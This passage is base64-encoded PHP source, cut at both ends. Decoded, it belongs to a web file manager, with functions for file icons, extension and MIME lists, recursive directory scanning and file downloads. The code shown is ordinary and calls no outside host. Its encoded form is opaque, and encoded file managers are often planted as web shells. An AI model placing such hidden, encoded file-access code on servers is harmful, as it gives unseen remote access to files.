3ZCc6XG4gICAgICAgIGNhc2UgJ2Z0cHF1b3RhJzpcbiAgICAgICAgY2FzZSAnc3FsJzpcbiAgICAgICAgY2FzZSAnanMnOlxuICAgICAgICBjYXNlICd0cyc6XG4gICAgICAgIGNhc2UgJ2pzeCc6XG4gICAgICAgIGNhc2UgJ3RzeCc6XG4gICAgICAgIGNhc2UgJ2hicyc6XG4gICAgICAgIGNhc2UgJ2pzb24nOlxuICAgICAgICBjYXNlICdzaCc6XG4gICAgICAgIGNhc2UgJ2NvbmZpZyc6XG4gICAgICAgIGNhc2UgJ3R3aWcnOlxuICAgICAgICBjYXNlICd0cGwnOlxuICAgICAgICBjYXNlICdtZCc6XG4gICAgICAgIGNhc2UgJ2dpdGlnbm9yZSc6XG4gICAgICAgIGNhc2UgJ2MnOlxuICAgICAgICBjYXNlICdjcHAnOlxuICAgICAgICBjYXNlICdjcyc6XG4gICAgICAgIGNhc2UgJ3B5JzpcbiAgICAgICAgY2FzZSAncnMnOlxuICAgICAgICBjYXNlICdtYXAnOlxuICAgICAgICBjYXNlICdsb2NrJzpcbiAgICAgICAgY2FzZSAnZHRkJzpcbiAgICAgICAgY2FzZSAncHMxJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1jb2RlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3R4dCc6XG4gICAgICAgIGNhc2UgJ2luaSc6XG4gICAgICAgIGNhc2UgJ2NvbmYnOlxuICAgICAgICBjYXNlICdsb2cnOlxuICAgICAgICBjYXNlICdodGFjY2Vzcyc6XG4gICAgICAgIGNhc2UgJ3lhbWwnOlxuICAgICAgICBjYXNlICd5bWwnOlxuICAgICAgICBjYXNlICd0b21sJzpcbiAgICAgICAgY2FzZSAndG1wJzpcbiAgICAgICAgY2FzZSAndG9wJzpcbiAgICAgICAgY2FzZSAnYm90JzpcbiAgICAgICAgY2FzZSAnZGF0JzpcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnaHRwYXNzd2QnOlxuICAgICAgICBjYXNlICdwbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3MnOlxuICAgICAgICBjYXNlICdsZXNzJzpcbiAgICAgICAgY2FzZSAnc2Fzcyc6XG4gICAgICAgIGNhc2UgJ3Njc3MnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdiejInOlxuICAgICAgICBjYXNlICd0YnoyJzpcbiAgICAgICAgY2FzZSAndGJ6JzpcbiAgICAgICAgY2FzZSAnemlwJzpcbiAgICAgICAgY2FzZSAncmFyJzpcbiAgICAgICAgY2FzZSAnZ3onOlxuICAgICAgICBjYXNlICd0Z3onOlxuICAgICAgICBjYXNlICd0YXInOlxuICAgICAgICBjYXNlICc3eic6XG4gICAgICAgIGNhc2UgJ3h6JzpcbiAgICAgICAgY2FzZSAndHh6JzpcbiAgICAgICAgY2FzZSAnenN0JzpcbiAgICAgICAgY2FzZSAndHpzdCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtYXJjaGl2ZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdwaHAnOlxuICAgICAgICBjYXNlICdwaHA0JzpcbiAgICAgICAgY2FzZSAncGhwNSc6XG4gICAgICAgIGNhc2UgJ3BocHMnOlxuICAgICAgICBjYXNlICdwaHRtbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNvZGUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2h0bSc6XG4gICAgICAgIGNhc2UgJ2h0bWwnOlxuICAgICAgICBjYXNlICdzaHRtbCc6XG4gICAgICAgIGNhc2UgJ3hodG1sJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtaHRtbDUnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3htbCc6XG4gICAgICAgIGNhc2UgJ3hzbCc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnd2F2JzpcbiAgICAgICAgY2FzZSAnbXAzJzpcbiAgICAgICAgY2FzZSAnbXAyJzpcbiAgICAgICAgY2FzZSAnbTRhJzpcbiAgICAgICAgY2FzZSAnYWFjJzpcbiAgICAgICAgY2FzZSAnb2dnJzpcbiAgICAgICAgY2FzZSAnb2dhJzpcbiAgICAgICAgY2FzZSAnd21hJzpcbiAgICAgICAgY2FzZSAnbWthJzpcbiAgICAgICAgY2FzZSAnZmxhYyc6XG4gICAgICAgIGNhc2UgJ2FjMyc6XG4gICAgICAgIGNhc2UgJ3Rkcyc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLW11c2ljJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdtM3UnOlxuICAgICAgICBjYXNlICdtM3U4JzpcbiAgICAgICAgY2FzZSAncGxzJzpcbiAgICAgICAgY2FzZSAnY3VlJzpcbiAgICAgICAgY2FzZSAneHNwZic6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWhlYWRwaG9uZXMnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2F2aSc6XG4gICAgICAgIGNhc2UgJ21wZyc6XG4gICAgICAgIGNhc2UgJ21wZWcnOlxuICAgICAgICBjYXNlICdtcDQnOlxuICAgICAgICBjYXNlICdtNHYnOlxuICAgICAgICBjYXNlICdmbHYnOlxuICAgICAgICBjYXNlICdmNHYnOlxuICAgICAgICBjYXNlICdvZ20nOlxuICAgICAgICBjYXNlICdvZ3YnOlxuICAgICAgICBjYXNlICdtb3YnOlxuICAgICAgICBjYXNlICdta3YnOlxuICAgICAgICBjYXNlICczZ3AnOlxuICAgICAgICBjYXNlICdhc2YnOlxuICAgICAgICBjYXNlICd3bXYnOlxuICAgICAgICBjYXNlICd3ZWJtJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS12aWRlby1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdlbWwnOlxuICAgICAgICBjYXNlICdtc2cnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1lbnZlbG9wZS1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICd4bHMnOlxuICAgICAgICBjYXNlICd4bHN4JzpcbiAgICAgICAgY2FzZSAnb2RzJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1leGNlbC1vJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdjc3YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXRleHQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmFrJzpcbiAgICAgICAgY2FzZSAnc3dwJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtY2xpcGJvYXJkJztcbiAgICAgICAgICAgIGJyZWFrO1xuICAgICAgICBjYXNlICdkb2MnOlxuICAgICAgICBjYXNlICdkb2N4JzpcbiAgICAgICAgY2FzZSAnb2R0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS13b3JkLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ3BwdCc6XG4gICAgICAgIGNhc2UgJ3BwdHgnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLXBvd2VycG9pbnQtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAndHRmJzpcbiAgICAgICAgY2FzZSAndHRjJzpcbiAgICAgICAgY2FzZSAnb3RmJzpcbiAgICAgICAgY2FzZSAnd29mZic6XG4gICAgICAgIGNhc2UgJ3dvZmYyJzpcbiAgICAgICAgY2FzZSAnZW90JzpcbiAgICAgICAgY2FzZSAnZm9uJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZm9udCc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncGRmJzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wZGYtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAncHNkJzpcbiAgICAgICAgY2FzZSAnYWknOlxuICAgICAgICBjYXNlICdlcHMnOlxuICAgICAgICBjYXNlICdmbGEnOlxuICAgICAgICBjYXNlICdzd2YnOlxuICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWltYWdlLW8nO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGNhc2UgJ2V4ZSc6XG4gICAgICAgIGNhc2UgJ21zaSc6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtbyc7XG4gICAgICAgICAgICBicmVhaztcbiAgICAgICAgY2FzZSAnYmF0JzpcbiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtdGVybWluYWwnO1xuICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgIGRlZmF1bHQ6XG4gICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWluZm8tY2lyY2xlJztcbiAgICB9XG5cbiAgICByZXR1cm4gJGltZztcbn1cblxuXC8qKlxuICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9pbWFnZV9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoJ2ljbycsICdnaWYnLCAnanBnJywgJ2pwZWcnLCAnanBjJywgJ2pwMicsICdqcHgnLCAneGJtJywgJ3dibXAnLCAncG5nJywgJ2JtcCcsICd0aWYnLCAndGlmZicsICdwc2QnLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpO1xufVxuXG5cLyoqXG4gKiBHZXQgdmlkZW8gZmlsZXMgZXh0ZW5zaW9uc1xuICogQHJldHVybiBhcnJheVxuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKVxue1xuICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7XG59XG5cblwvKipcbiAqIEdldCBhdWRpbyBmaWxlcyBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfYXVkaW9fZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCd3YXYnLCAnbXAzJywgJ29nZycsICdtNGEnKTtcbn1cblxuXC8qKlxuICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9leHRzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICd0eHQnLFxuICAgICAgICAnY3NzJyxcbiAgICAgICAgJ2luaScsXG4gICAgICAgICdjb25mJyxcbiAgICAgICAgJ2xvZycsXG4gICAgICAgICdodGFjY2VzcycsXG4gICAgICAgICdwYXNzd2QnLFxuICAgICAgICAnZnRwcXVvdGEnLFxuICAgICAgICAnc3FsJyxcbiAgICAgICAgJ2pzJyxcbiAgICAgICAgJ3RzJyxcbiAgICAgICAgJ2pzeCcsXG4gICAgICAgICd0c3gnLFxuICAgICAgICAnbWpzJyxcbiAgICAgICAgJ2pzb24nLFxuICAgICAgICAnc2gnLFxuICAgICAgICAnY29uZmlnJyxcbiAgICAgICAgJ3BocCcsXG4gICAgICAgICdwaHA0JyxcbiAgICAgICAgJ3BocDUnLFxuICAgICAgICAncGhwcycsXG4gICAgICAgICdwaHRtbCcsXG4gICAgICAgICdodG0nLFxuICAgICAgICAnaHRtbCcsXG4gICAgICAgICdzaHRtbCcsXG4gICAgICAgICd4aHRtbCcsXG4gICAgICAgICd4bWwnLFxuICAgICAgICAneHNsJyxcbiAgICAgICAgJ20zdScsXG4gICAgICAgICdtM3U4JyxcbiAgICAgICAgJ3BscycsXG4gICAgICAgICdjdWUnLFxuICAgICAgICAnYmFzaCcsXG4gICAgICAgICd2dWUnLFxuICAgICAgICAnZW1sJyxcbiAgICAgICAgJ21zZycsXG4gICAgICAgICdjc3YnLFxuICAgICAgICAnYmF0JyxcbiAgICAgICAgJ3R3aWcnLFxuICAgICAgICAndHBsJyxcbiAgICAgICAgJ21kJyxcbiAgICAgICAgJ2dpdGlnbm9yZScsXG4gICAgICAgICdsZXNzJyxcbiAgICAgICAgJ3Nhc3MnLFxuICAgICAgICAnc2NzcycsXG4gICAgICAgICdjJyxcbiAgICAgICAgJ2NwcCcsXG4gICAgICAgICdjcycsXG4gICAgICAgICdweScsXG4gICAgICAgICdnbycsXG4gICAgICAgICd6c2gnLFxuICAgICAgICAnc3dpZnQnLFxuICAgICAgICAnbWFwJyxcbiAgICAgICAgJ2xvY2snLFxuICAgICAgICAnZHRkJyxcbiAgICAgICAgJ3N2ZycsXG4gICAgICAgICdhc3AnLFxuICAgICAgICAnYXNweCcsXG4gICAgICAgICdhc3gnLFxuICAgICAgICAnYXNteCcsXG4gICAgICAgICdhc2h4JyxcbiAgICAgICAgJ2pzcCcsXG4gICAgICAgICdqc3B4JyxcbiAgICAgICAgJ2NnaScsXG4gICAgICAgICdkb2NrZXJmaWxlJyxcbiAgICAgICAgJ3J1YnknLFxuICAgICAgICAneW1sJyxcbiAgICAgICAgJ3lhbWwnLFxuICAgICAgICAndG9tbCcsXG4gICAgICAgICd2aG9zdCcsXG4gICAgICAgICdzY3B0JyxcbiAgICAgICAgJ2FwcGxlc2NyaXB0JyxcbiAgICAgICAgJ2NzeCcsXG4gICAgICAgICdjc2h0bWwnLFxuICAgICAgICAnYysrJyxcbiAgICAgICAgJ2NvZmZlZScsXG4gICAgICAgICdjZm0nLFxuICAgICAgICAncmInLFxuICAgICAgICAnZ3JhcGhxbCcsXG4gICAgICAgICdtdXN0YWNoZScsXG4gICAgICAgICdqaW5qYScsXG4gICAgICAgICdodHRwJyxcbiAgICAgICAgJ2hhbmRsZWJhcnMnLFxuICAgICAgICAnamF2YScsXG4gICAgICAgICdlcycsXG4gICAgICAgICdlczYnLFxuICAgICAgICAnbWFya2Rvd24nLFxuICAgICAgICAnd2lraScsXG4gICAgICAgICd0bXAnLFxuICAgICAgICAndG9wJyxcbiAgICAgICAgJ2JvdCcsXG4gICAgICAgICdkYXQnLFxuICAgICAgICAnYmFrJyxcbiAgICAgICAgJ2h0cGFzc3dkJyxcbiAgICAgICAgJ3BsJyxcbiAgICAgICAgJ3BzMSdcbiAgICApO1xufVxuXG5cLyoqXG4gKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdGV4dF9taW1lcygpXG57XG4gICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAnYXBwbGljYXRpb25cL3htbCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwvamF2YXNjcmlwdCcsXG4gICAgICAgICdhcHBsaWNhdGlvblwveC1qYXZhc2NyaXB0JyxcbiAgICAgICAgJ2ltYWdlXC9zdmcreG1sJyxcbiAgICAgICAgJ21lc3NhZ2VcL3JmYzgyMicsXG4gICAgICAgICdhcHBsaWNhdGlvblwvanNvbicsXG4gICAgKTtcbn1cblxuXC8qKlxuICogR2V0IGZpbGUgbmFtZXMgb2YgdGV4dCBmaWxlcyB3XC9vIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF90ZXh0X25hbWVzKClcbntcbiAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICdsaWNlbnNlJyxcbiAgICAgICAgJ3JlYWRtZScsXG4gICAgICAgICdhdXRob3JzJyxcbiAgICAgICAgJ2NvbnRyaWJ1dG9ycycsXG4gICAgICAgICdjaGFuZ2Vsb2cnLFxuICAgICk7XG59XG5cblwvKipcbiAqIEdldCBvbmxpbmUgZG9jcyB2aWV3ZXIgc3VwcG9ydGVkIGZpbGVzIGV4dGVuc2lvbnNcbiAqIEByZXR1cm4gYXJyYXlcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpXG57XG4gICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTtcbn1cblxuXC8qKlxuICogSXQgcmV0dXJucyB0aGUgbWltZSB0eXBlIG9mIGEgZmlsZSBiYXNlZCBvbiBpdHMgZXh0ZW5zaW9uLlxuICogQHBhcmFtIGV4dGVuc2lvbiBUaGUgZmlsZSBleHRlbnNpb24gb2YgdGhlIGZpbGUgeW91IHdhbnQgdG8gZ2V0IHRoZSBtaW1lIHR5cGUgZm9yLlxuICogQHJldHVybiBzdHJpbmd8c3RyaW5nW10gVGhlIG1pbWUgdHlwZSBvZiB0aGUgZmlsZS5cbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9maWxlX21pbWVzKCRleHRlbnNpb24pXG57XG4gICAgJGZpbGVUeXBlc1snc3dmJ10gPSAnYXBwbGljYXRpb25cL3gtc2hvY2t3YXZlLWZsYXNoJztcbiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvblwvcGRmJztcbiAgICAkZmlsZVR5cGVzWydleGUnXSA9ICdhcHBsaWNhdGlvblwvb2N0ZXQtc3RyZWFtJztcbiAgICAkZmlsZVR5cGVzWyd6aXAnXSA9ICdhcHBsaWNhdGlvblwvemlwJztcbiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvblwvbXN3b3JkJztcbiAgICAkZmlsZVR5cGVzWyd4bHMnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLWV4Y2VsJztcbiAgICAkZmlsZVR5cGVzWydwcHQnXSA9ICdhcHBsaWNhdGlvblwvdm5kLm1zLXBvd2VycG9pbnQnO1xuICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlXC9naWYnO1xuICAgICRmaWxlVHlwZXNbJ3BuZyddID0gJ2ltYWdlXC9wbmcnO1xuICAgICRmaWxlVHlwZXNbJ2pwZWcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZVwvanBnJztcbiAgICAkZmlsZVR5cGVzWyd3ZWJwJ10gPSAnaW1hZ2VcL3dlYnAnO1xuICAgICRmaWxlVHlwZXNbJ2F2aWYnXSA9ICdpbWFnZVwvYXZpZic7XG4gICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb25cL3Jhcic7XG5cbiAgICAkZmlsZVR5cGVzWydyYSddID0gJ2F1ZGlvXC94LXBuLXJlYWxhdWRpbyc7XG4gICAgJGZpbGVUeXBlc1sncmFtJ10gPSAnYXVkaW9cL3gtcG4tcmVhbGF1ZGlvJztcbiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpb1wveC1wbi1yZWFsYXVkaW8nO1xuXG4gICAgJGZpbGVUeXBlc1snd2F2J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snd212J10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snYXNmJ10gPSAndmlkZW9cL3gtbXN2aWRlbyc7XG4gICAgJGZpbGVUeXBlc1snZGl2eCddID0gJ3ZpZGVvXC94LW1zdmlkZW8nO1xuXG4gICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wNCddID0gJ3ZpZGVvXC9tcDQnO1xuICAgICRmaWxlVHlwZXNbJ21wZWcnXSA9ICd2aWRlb1wvbXBlZyc7XG4gICAgJGZpbGVUeXBlc1snbXBnJ10gPSAndmlkZW9cL21wZWcnO1xuICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvXC9tcGVnJztcbiAgICAkZmlsZVR5cGVzWydtb3YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydzd2YnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtNGEnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydhYWMnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcbiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlb1wvcXVpY2t0aW1lJztcblxuICAgICRmaWxlVHlwZXNbJ3BocCddID0gWydhcHBsaWNhdGlvblwveC1waHAnXTtcbiAgICAkZmlsZVR5cGVzWydodG1sJ10gPSBbJ3RleHRcL2h0bWwnXTtcbiAgICAkZmlsZVR5cGVzWyd0eHQnXSA9IFsndGV4dFwvcGxhaW4nXTtcbiAgICBpZiAoZW1wdHkoJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSkpIHtcbiAgICAgICAgJGZpbGVUeXBlc1skZXh0ZW5zaW9uXSA9IFsnYXBwbGljYXRpb25cL29jdGV0LXN0cmVhbSddO1xuICAgIH1cbiAgICByZXR1cm4gJGZpbGVUeXBlc1skZXh0ZW5zaW9uXTtcbn1cblxuXC8qKlxuICogVGhpcyBmdW5jdGlvbiBzY2FucyB0aGUgZmlsZXMgYW5kIGZvbGRlciByZWN1cnNpdmVseSwgYW5kIHJldHVybiBtYXRjaGluZyBmaWxlc1xuICogQHBhcmFtIHN0cmluZyAkZGlyXG4gKiBAcGFyYW0gc3RyaW5nICRmaWx0ZXJcbiAqIEByZXR1cm4gYXJyYXl8bnVsbFxuICpcL1xuZnVuY3Rpb24gc2NhbigkZGlyID0gJycsICRmaWx0ZXIgPSAnJylcbntcbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSCAuICdcLycgLiAkZGlyO1xuICAgIGlmICgkcGF0aCkge1xuICAgICAgICAkaXRlID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRwYXRoKSk7XG4gICAgICAgICRyaWkgPSBuZXcgUmVnZXhJdGVyYXRvcigkaXRlLCBcIlwvKFwiIC4gJGZpbHRlciAuIFwiKVwvaVwiKTtcblxuICAgICAgICAkZmlsZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoICgkcmlpIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoISRmaWxlLT5pc0RpcigpKSB7XG4gICAgICAgICAgICAgICAgJGZpbGVOYW1lID0gJGZpbGUtPmdldEZpbGVuYW1lKCk7XG4gICAgICAgICAgICAgICAgJGxvY2F0aW9uID0gc3RyX3JlcGxhY2UoRk1fUk9PVF9QQVRILCAnJywgJGZpbGUtPmdldFBhdGgoKSk7XG4gICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEg